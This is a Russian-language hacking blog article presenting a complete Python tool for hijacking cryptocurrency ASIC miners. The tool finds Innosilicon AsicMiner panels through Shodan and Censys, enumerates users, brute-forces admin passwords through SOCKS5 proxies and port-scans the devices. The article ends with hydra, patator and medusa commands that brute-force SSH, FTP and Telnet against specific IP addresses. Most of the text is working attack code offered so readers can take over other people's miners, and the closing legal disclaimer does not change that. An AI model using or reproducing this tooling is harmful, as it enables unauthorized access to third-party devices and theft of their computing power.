Asic Python Брутфорс Взлом Криптовалюты Обучение Эксклюзив

Брутим майнеры. Как заставить чужой асик майнить тебе. Часть 1

Брутим майнеры. Как заставить чужой асик майнить тебе. Часть 1

Цены на видеокарты не дают покоя, и вы хотите отомстить майнерам? Тогда эта статья для Вас! Сегодня администрация Cybersec расскажет, как найти и сбрутить SSH, Telnet, FTP, а также веб-панели AsicMiner-ов.

Ну что, мой юный друг. Ты просил – получай. Сегодня мы научимся брутить асики, да-да. Те самые, которые майнят биткоины и прочую крипту. Ты скажешь, о, да тема стара. Да, стара. Только почти каждый месяц появляются новые асики. И все они дырявые, как швейцарский сыр. Порой доходит до абсолютно абсурдных вещей, таких, как вшитые по умолчанию пароли на ssh и telnet и элементарные LFI. Я уже даже молчу про blind RCE и прочие современные радости. Короче, надо быть совсем конченым идиотом, чтобы выставить асик в открытый интернет. Но к нашей радости страна ждёт героев, но рожают только идиотов.

Прошли те времена, когда ломали асики Bitmain и пользовали оставляли асики в открытом доступе с дефолтными паролями. Но если посмотреть с другой стороны, не так много то и изменилось. Всего стало только больше. Просто надо найти правильный подход.

Чтобы понять, что работы – непочатый край, надо просто зайти на этот сайт. А потом зайти на сайт производителя и покачать прошивки. Про Attify OS я уже писал. С помощью её инструментов можно чудесно разбирать прошивки и искать уязвимости. Но сегодня речь пойдёт не об этом.

То о чем мы тебе расскажем сегодня – проверено на собственном опыте. Тема рабочая. Да, после нас с ней стало немного сложнее, но всё возможно. Надо лишь проявить немного находчивости. Например, некоторые горе-майнеры пробрасывают асики из интранета на нестандартные порты для возможности контроля с расстояния.

А ещё существует пиратское ПО многолетней давности с дырами для управления не отдельными асиками, а целыми фермами. И люди его активно используют.

Но начнём с азов. А именно, с брута асиков. Только вместо Bitmain мы сегодня поговорим о менее распространенном, но не менее дырявом бренде – Innosilicon. Как я и говорил, я дарю тебе тему. Это основа. Как её используешь ты – решать тебе. Поехали?

Что такое асики?

В википедии сказано, что ASIC (Айсик, Асик) (аббревиатура от англ. application-specific integrated circuit, “интегральная схема специального назначения”) — это интегральная схема, специализированная для решения конкретной задачи. В отличие от интегральных схем общего назначения, специализированные интегральные схемы применяются в конкретном устройстве и выполняют строго ограниченные функции, характерные только для данного устройства; вследствие этого выполнение функций происходит быстрее и, в конечном счёте, дешевле. Примером ASIC может являться микросхема, разработанная исключительно для управления мобильным телефоном, микросхемы аппаратного кодирования/декодирования аудио- и видео-сигналов (сигнальные процессоры).

С появлением ASIC стало возможным добывать Bitcoin в гораздо большем количестве, чем с помощью видеокарт т.к. при большей мощности (скорости расчёта хеша) они потребляют гораздо меньше энергии.

Подготовка

Для сбора айпи, будем использовать Python с библиотеками Shodan и Censys, поэтому необходимо создать там аккаунты и получить api ключи.

Shodan
Censys

Список библиотек, необходимых для работы скрипта, который мы будем разбирать в этой статье (pip3 install название_библиотеки):

Если вы планируете использовать socks5 прокси, то нужно создать файл proxy.txt, в котором будут айпи вместе с портами.

Пример:
154.16.202.22:1080
151.106.34.139:1080
154.16.63.16:1080
98.188.47.150:4145
176.9.75.42:1080

Создание скрипта для поиска и айпи из Shodan и Censys

Импортируем библиотеки, создаем переменные с api ключами, стандартными портами, юзер-агентами и добавляем аргументы запуска:

import os
import time
import json
import random
import shodan
import censys
import socket
import requests
import datetime
import argparse
import threading
from queue import Queue
from censys import ipv4
from multiprocessing import Pool, freeze_support, Manager

# API ключи.
shodan_api_key = "KEY"
censys_api_key = "KEY"
censys_api_secret = "KEY"

# Аргументы запуска скрипта.
parser = argparse.ArgumentParser()
parser.add_argument("-m", "--mode", help="Режимы работы", choices=[1, 2, 3, 4, 5, 6], type=int, required=True)
parser.add_argument("-p", "--proxy", help="Использование прокси", action='store_true')
args = parser.parse_args()

# Список портов, которые мы будем сканировать в найденых айпи.
ports = [21, 22, 23, 80, 443, 2222, 8080, 8000, 8888]

m = Manager()
ip_list = m.list()
brute_data = m.list()
proxy_list = m.list()
asic_miners = m.list()
password_list = m.list()

# Список юзер-агентов.
ua = ['Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65',
      'Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2)',
      'Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)',
      'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)',
      'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR)',
      'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
      'Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Gecko)']

# Список стандартных имён, который мы будем использовать для брута юзеров.
standard_users = ["admin", "Admin", "web", "root", "innominer", "innot1t2", "miner", "inno", "administrator", "user"]

Функции поиска айпи из Shodan и Censys:

# Shodan
def shodan_scanner(dork, start=1, stop=2):
    # Подключаемся к shodan используя shodan_api_key
    api = shodan.Shodan(shodan_api_key)
    # Загружаем результаты и сохраняем их в ip_list
    for page in range(start, stop):
        try:
            time.sleep(0.5)
            results = api.search(dork, page=page)
            for result in results['matches']:
                if not result['ip_str'] in ip_list:
                    # Выводим список айпи и сохраняем в ip_list
                    ip_list.append(result['ip_str'])
                    print(result['ip_str'])
        except shodan.exception.APIError as error:
            print('[!] Error: ' + str(error))
            continue

# Censys
def censys_scanner(dork, records=25):
    # Подключаемся к censys используя censys_api_key и censys_api_secret
    c = ipv4.CensysIPv4(api_id=censys_api_key, api_secret=censys_api_secret)
    # Поиск айпи
    try:
        for result in c.search(dork, max_records=records):
            res = json.dumps(result, indent=4)
            r = json.loads(res)
            if r["ip"] not in ip_list:
                # Выводим список айпи и сохраняем в ip_list
                ip_list.append(r["ip"])
                print(r["ip"])
    except censys.exceptions as error:
        print('[!] Error: ' + str(error))

Вызываем функции и получаем список айпи:

results_file = r’logs/’ + date + ‘.txt’
print(“\nCensys:”)
# records=47 – количество айпи
censys_scanner(“AsicMiner”, records=47)
print(“\nShodan:”)
# stop=3 – последняя страница для поиска (3 страницы ~ 47 уникальных айпи)
shodan_scanner(“title:AsicMiner”, stop=3)
f = open(results_file, “a”)
for ip in ip_list:    
f.write(str(ip) + “\n”)
print(ip)
f.close()

Поиск асиков из списка айпи

Список айпи мы получили, осталось найти в этом списке асики, для этого перейдем в веб-панель, на страницу /login и посмотрим, как происходит вход в админку:

Если пользователь существует, мы получаем сообщение о неверном пароле, это поможет нам брутить юзеров, но сейчас нам важно понять, как и куда передаются логин/пароль, для этого в браузере нажимаем f12 и попадаем в средства разработчика, выбираем меню “Сеть” и пробуем войти в админку еще раз:

В поле мы видим пакеты, которые передаются методом POST:

Выбираем тот, что с файлом auth и в меню “Заголовки” можем увидеть полный путь:

В поле “Запрос” отображаются названия переменных, которые принимают логин и пароль:

Если перейти по пути из меню “Заголовки”, то мы попадем на страничку с json, в которой получим сообщение “missing username\/password fields”:

“success”:false значит, что пароль и логин не подошли, при правильной паре логин/пароль мы получим “success”:true и таким образом сможем понять какой из паролей был корректным, это мы будем использовать для брута паролей.

Теперь, когда мы знаем, как работает авторизация, можем создать функцию, которая будет искать асики и функцию, которая будет генерировать хидеры:

def headers_gen():
   
headers = {
        'User-agent': random.choice(ua),
        'Accept-Encoding': 'gzip, deflate',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Upgrade-Insecure-Requests': '1',
        'Connection': 'keep-alive'}
    return headers
def find_asicminers(url):
# Входим в цикл while, чтобы избежать проблем с прокси
   
error = "Cannot connect to proxy"
    while "Cannot connect to proxy" in str(error):
        if url not in asic_miners:
# Библиотека requests не позволяет устанавливать кастомное количество попыток, для этого существует костыль с for retry in range()
            for retry in range(16):
                try:
                    time.sleep(0.5)                    
# Если при запуске программы использовался аргумент -p – включаем socks5 прокси
                    if args.proxy:
                        prox = random.choice(proxy_list)
                        proxies = {
                            "https": "socks5h://" + str(prox),
                            "http": "socks5h://" + str(prox)}
                        send = requests.post("http://" + str(url) + "/api/auth", headers=headers_gen(), proxies=proxies, verify=False, timeout=15)
                    else:
                        send = requests.post("http://" + str(url) + "/api/auth", headers=headers_gen(), verify=False, timeout=15)
                    # Смотрим на ответ в json
                    if r"missing username\/password fields" in send.text:
                        if url not in asic_miners:
                            print("[*] AsicMiner found: " + str(url))
                            asic_miners.append(url)
                    error = None
                except Exception as e:
                    if "Cannot connect to proxy" in str(e) or "Read timed out" in str(e) or "Max retries exceeded" \
                            in str(e) or "Connection reset by peer" in str(e) or "RemoteDisconnected" in str(e):
                        pass
                    else:
                        print("\n" + str(e) + "\n")
                    error = str(e)

Скриншот работы функции:

Начинаем брутить веб-панель!

Когда мы получили список айпи асиков, можно начать брутить юзернеймы. Создаем функцию (использовать ее мы будем не часто, ведь admin это юзер по умолчанию и его не меняют), которая будет брать юзернеймы из standard_users и в цикле for пробовать каждый из них:

def web_user_brute(url):
   
for user in standard_users:
        data = {"username": user, "password": "password"}
        error = "Cannot connect to proxy"
        while "Cannot connect to proxy" in str(error) or "Max retries exceeded" in str(error):
            time.sleep(0.5)
            try:
                # Если при запуске программы использовался аргумент -p – включаем socks5 прокси
                if args.proxy:
                    p = random.choice(proxy_list)
                    proxies = {
                        "https": "socks5h://" + str(p),
                        "http": "socks5h://" + str(p)}
                    send = requests.post("http://" + str(url) + "/api/auth", data=data, headers=headers_gen(), proxies=proxies, verify=False, timeout=10)
                else:
                    send = requests.post("http://" + str(url) + "/api/auth", data=data, headers=headers_gen(), verify=False, timeout=10)
                # Если страница /api/auth вернет json с ошибкой “invalid password” – сохраняем переменную user в txt файл
                if r"invalid password" in send.text:
                    print("[*] Username found: " + user)
                    found = open("found_users.txt", "a")
                    found.write("url: " + str(url) + "\tusername: " + str(user) + "\n")
                    found.close()
                elif r"user not found" in send.text:
                    print("[-] Username " + user + " not found!")
                else:
                    print("[!] There maybe error!")
                error = None
            except Exception as e:
                if "Cannot connect to proxy" in str(e) or "Max retries exceeded" in str(e):
                    pass
                else:
                    print("\n" + str(e) + "\n")
                error = str(e)

Функция брута аккаунта админа очень похожа на функцию брута юзернеймов, но вместо “invalid password” мы будем искать “success”: true:

def admin_web_pass_brute(url):
    for password in password_list:
        print("[!] Trying password: " + str(password) + " for admin on target: " + str(url))
        error = "Cannot connect to proxy"
        while "Cannot connect to proxy" in str(error) or "Max retries exceeded" in str(error):
            try:
                time.sleep(0.5)
                headers = headers_gen()
                d = {"username": "admin", "password": password}
                if args.proxy:
                    prox = random.choice(proxy_list)
                    proxies = {"https": "socks5h://" + str(prox), "http": "socks5h://" + str(prox)}
                    pass_brute = requests.post("http://" + str(url) + "/api/auth", data=d, headers=headers, proxies=proxies, verify=False, timeout=10)
                else:
                    pass_brute = requests.post("http://" + str(url) + "/api/auth", data=d, headers=headers, verify=False, timeout=10)
                if r'"success":true' in pass_brute.text:
                    print("[*] Found admin password: " + str(password))
                    found = open("found_pass.txt", "a")
                    found.write("url: " + str(url) + "\tusername: admin    password: " + password + "\n")
                    found.close()
                error = None
            except Exception as e:
                if "Cannot connect to proxy" in str(e) or "Max retries exceeded" in str(e):
                    pass
                else:
                    print("\n" + str(e) + "\n")
                error = str(e)

Программа почти готова, осталось сделать функцию, которая будет проверять порты на найденных асиках и записывать их в txt файлы, чтобы в дальнейшем мы смогли брутить SSH или FTP через thc-hydra или patator:

def port_scanner(target):
    print("\nIP: " + str(target))
    socket.setdefaulttimeout(1)
    print_lock = threading.Lock()

    def portscan(port):
        # Создаем сокет
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            # Подключаемся к айпи по порту, который будем брать из ports
            con = s.connect((target, port))
            with print_lock:
                # Выводим в консоль открытый порт
                print(port, 'is open')
                f_ip = open('logs/' + date + "_port_" + str(port) + ".txt", "a")
                f_ip.write(str(target) + "\n")
            # Отключаемся
            con.close()
        except:
            # Если возникает ошибка, то мы просто игнорируем ее
            pass

    def threader():
        # Запуск функции portscan в нескольких потоках
        while True:
            w = q.get()
            portscan(w)
            q.task_done()

    q = Queue()
    # Создаем нужное количество потоков
    for x in range(len(ports) // 2):
        t = threading.Thread(target=threader)
        t.daemon = True
        t.start()
    for worker in ports:
        q.put(worker)
    q.join()

Создаем в конце файла блок if __name__ == “__main__”, чтобы мы смогли запускать отдельные функции указывая режим работы через -m:

if __name__ == "__main__":
    if not os.path.exists('logs'):
        os.mkdir('logs')

    date = datetime.datetime.today().strftime("%H.%M_%d-%m-%y")
    try:
        # Если аргумент запуска -m 1
        if args.mode == 1:
            print("Finding IP...\n")
            results_file = r'logs/' + date + '.txt'
            print("\nCensys:")
            # records=47 - количество айпи
            censys_scanner("AsicMiner", records=47)
            print("\nShodan:")
            # stop=3 - последняя страница для поиска (3 страницы ~ 47 уникальных айпи)
            shodan_scanner("title:AsicMiner", stop=3)
            # Записываем полученные айпи в txt файл
            f = open(results_file, "a")
            for ip in ip_list:
                f.write(str(ip) + "\n")
                print(ip)
            f.close()
            # Запускаем поиск асиков
            start_finding_asicminers = input("\n[+] Start finding AsicMiners? [y/n]\n==> ")
            if start_finding_asicminers.lower() == "y":
                # Если при запуске программы использовался аргумент -p – включаем режим работы с socks5 прокси
                if args.proxy:
                    try:
                        with open("proxy.txt", "r") as f:
                            for proxy in f.readlines():
                                if proxy.split("\n")[0] not in proxy_list:
                                    proxy_list.append(proxy.split("\n")[0])
                    except Exception as ex:
                        print("[!] Error: " + str(ex))
                        exit(0)

                # Запускаем функцию поиска асиков в нескольких потоках
                freeze_support()
                pool = Pool(len(ip_list) // 3)
                pool.map(find_asicminers, ip_list)
                pool.close()
                pool.join()

                # Записываем найденные асики в txt файл
                found_asic_miners = open("AsicMiners.txt", "a")
                for asic_miner_url in asic_miners:
                    found_asic_miners.write(str(asic_miner_url) + "\n")
                found_asic_miners.close()

                # Запускаем сканер портов
                start_port_scanner = input("\n[+] Start scanning IP's for common ports? [y/n]\n==> ")
                if start_port_scanner.lower() == "y":
                    for ip in asic_miners:
                        port_scanner(ip)

                # Запускаем брут аккаунта админа
                start_user_enumeration = input("\n[+] Start bruting admin account on port 80? [y/n]\n==> ")
                if start_user_enumeration.lower() == "y":
                    try:
                        # Открываем файл с паролями и сохраняем их в password_list
                        f = open("passwords.txt", "r")
                        for i in f.readlines():
                            password_list.append(i.split("\n")[0])
                        f.close()
                    except Exception as ex:
                        print("[!] Error: " + str(ex))
                        exit(0)

                    # Запускаем функцию брута аккаунта админа в нескольких потоках
                    freeze_support()
                    pool = Pool(len(asic_miners))
                    pool.map(admin_web_pass_brute, asic_miners)
                    pool.close()
                    pool.join()

        # Если аргумент запуска -m 2
        elif args.mode == 2:
            # Указываем путь к файлу с айпи
            file = input("\n[+] Enter path to file with IP's\n==> ")
            f = open(file, "r")
            for i in f.readlines():
                ip_list.append(i.split("\n")[0])
            f.close()
            # Запускаем сканер портов
            for ip in ip_list:
                port_scanner(ip)

        # Если аргумент запуска -m 3
        elif args.mode == 3:
            try:
                # Открываем файл с паролями и сохраняем их в password_list
                f = open("passwords.txt", "r")
                for i in f.readlines():
                    password_list.append(i.split("\n")[0])
                f.close()
            except Exception as ex:
                print("[!] Error: " + str(ex))
                exit(0)

            # Если при запуске программы использовался аргумент -p – включаем режим работы с socks5 прокси
            if args.proxy:
                try:
                    with open("proxy.txt", "r") as f:
                        for proxy in f.readlines():
                            if proxy.split("\n")[0] not in proxy_list:
                                proxy_list.append(proxy.split("\n")[0])
                except Exception as ex:
                    print("[!] Error: " + str(ex))
                    exit(0)
            # Запускаем брут юзернеймов
            link = input("\n[+] Enter ip: ")
            web_user_brute(link)

        # Если аргумент запуска -m 4
        elif args.mode == 4:
            # Открываем файл с паролями и сохраняем их в password_list
            file = input("\n[+] Enter path to file with IP's\n==> ")
            f = open(file, "r")
            for i in f.readlines():
                ip_list.append(i.split("\n")[0])
            f.close()

            try:
                f = open("passwords.txt", "r")
                for i in f.readlines():
                    password_list.append(i.split("\n")[0])
                f.close()
            except Exception as ex:
                print("[!] Error: " + str(ex))
                exit(0)

            # Если при запуске программы использовался аргумент -p – включаем режим работы с socks5 прокси
            if args.proxy:
                try:
                    with open("proxy.txt", "r") as f:
                        for proxy in f.readlines():
                            if proxy.split("\n")[0] not in proxy_list:
                                proxy_list.append(proxy.split("\n")[0])
                except Exception as ex:
                    print("[!] Error: " + str(ex))
                    exit(0)

            # Запускаем функцию брута аккаунта админа в нескольких потоках
            freeze_support()
            pool = Pool(len(ip_list) // 2)
            pool.map(admin_web_pass_brute, ip_list)
            pool.close()
            pool.join()

        # Если аргумент запуска -m 5
        elif args.mode == 5:
            # Указываем путь к файлу с айпи
            file = input("\n[+] Enter path to file with IP's\n==> ")
            f = open(file, "r")
            for i in f.readlines():
                ip_list.append(i.split("\n")[0])
            f.close()

            # Если при запуске программы использовался аргумент -p – включаем режим работы с socks5 прокси
            if args.proxy:
                try:
                    with open("proxy.txt", "r") as f:
                        for proxy in f.readlines():
                            if proxy.split("\n")[0] not in proxy_list:
                                proxy_list.append(proxy.split("\n")[0])
                except Exception as ex:
                    print("[!] Error: " + str(ex))
                    exit(0)

            # Запускаем функцию поиска асиков в нескольких потоках
            freeze_support()
            pool = Pool(len(ip_list) // 3)
            pool.map(find_asicminers, ip_list)
            pool.close()
            pool.join()

            # Запускаем сканер портов
            start_port_scanner = input("\n[+] Start scanning IP's for common ports? [y/n]\n==> ")
            if start_port_scanner.lower() == "y":
                for ip in asic_miners:
                    port_scanner(ip)

    except KeyboardInterrupt:
        print('\n[!] (Ctrl + C) detected...')
        exit(0)

    except Exception as ex:
        print(str(ex) + "\n[!] Exiting...")
        exit(0)

Сриншоты работы программы:

После того, как айпи будут собраны, нам будет предложено запустить поиск асиков:

Когда асики будут собраны, в папке появится файл AsicMiners.txt:

Если мы запустим скан портов, то в папке logs появятся файлы, в которых будут айпи и порты, которые были открыты:

После скана портов, мы можем запустить брут админки и если пароль будет найден, то появится файл found_pass.txt:

Брут SSH, Telnet, FTP

SSH:

hydra -f -L usernames.txt -P passwords.txt ssh://89.40.246.58

-f – остановка перебора после успешного подбора пары логин/пароль;
-L/-P – путь до словаря с пользователями/паролями;
ssh://IP-адрес – в нашем случае, это айпи асика.

patator ssh_login host=89.40.246.58 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt

ssh_login – модуль;
host – наша цель;
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора;
password – словарь с паролями.

medusa -h 89.40.246.58 -U usernames.txt -P passwords.txt -M ssh

-h – IP-адрес целевой машины;
-U/-P – путь к словарям логинов/паролей;
– выбор нужного модуля.

FTP:

hydra -f -L usernames.txt -P passwords.txt ftp://109.122.230.99

patator ftp_login host= 109.122.230.99 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt

medusa -f -M ftp -U usernames.txt -P passwords.txt -h 109.122.230.99

Telnet

hydra 109.122.230.99 telnet -L usernames.txt -P passwords.txt -t 32 -f

patator telnet_login host= 109.122.230.99 user=FILE0 password=FILE1 0=usernames.txt 1=passwords.txt

medusa -f -M telnet -U usernames.txt -P passwords.txt -h 109.122.230.99

В следующей части мы расскажем про брут AwesomeMiner, а пока вы можете делится своими результатами (задавать вопросы) в @badbclub, код программы, которую мы разбирали находится тут.

ВНИМАНИЕ! АДМИНИСТРАЦИЯ САЙТА НЕ СОВЕРШАЕТ И НЕ РЕКОМЕНДУЕТ ВАМ СОВЕРШАТЬ ПРОТИВОПРАВНЫХ ДЕЙСТВИЙ ИЛИ ПОЛУЧАТЬ НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К СИСТЕМАМ. ДАННАЯ СТАТЬЯ НАПРАВЛЕНА НА ТО, ЧТОБЫ УКАЗАТЬ НА ПРОБЛЕМЫ С СИСТЕМАМИ И ПРЕДОСТЕРЕЧЬ ПОЛЬЗОВАТЕЛЕЙ ОТ ВОЗМОЖНЫХ АТАК.

f4r6er
f4r6er Script kiddie, red teamer, Python lover.

Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *